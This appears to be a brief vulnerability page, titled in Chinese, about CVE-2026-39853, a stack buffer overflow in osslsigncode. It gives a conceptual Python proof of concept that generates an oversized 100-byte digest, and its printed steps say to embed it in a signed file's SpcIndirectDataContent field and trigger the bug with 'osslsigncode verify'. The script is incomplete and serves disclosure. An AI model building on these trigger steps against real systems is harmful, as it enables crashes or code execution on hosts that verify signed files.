CVE-2026-39853 osslsigncode栈缓冲区溢出漏洞

import sys # Conceptual PoC for CVE-2026-39853 # This script demonstrates the logic to create a malformed structure. # Exploitation requires crafting a PE/MSI/CAB file with a specific PKCS#7 signature. def create_malicious_digest(): # EVP_MAX_MD_SIZE is 64 bytes. Creating a digest larger than this triggers the overflow. overflow_size = 100 malicious_digest = b"A" * overflow_size return malicious_digest if __name__ == "__main__": payload = create_malicious_digest() print(f"[*] Generated payload size: {len(payload)} bytes") print("[*] To trigger the vulnerability, embed this payload in the SpcIndirectDataContent digest field of a signed file.") print("[*] Trigger command: osslsigncode verify malicious_file.signed")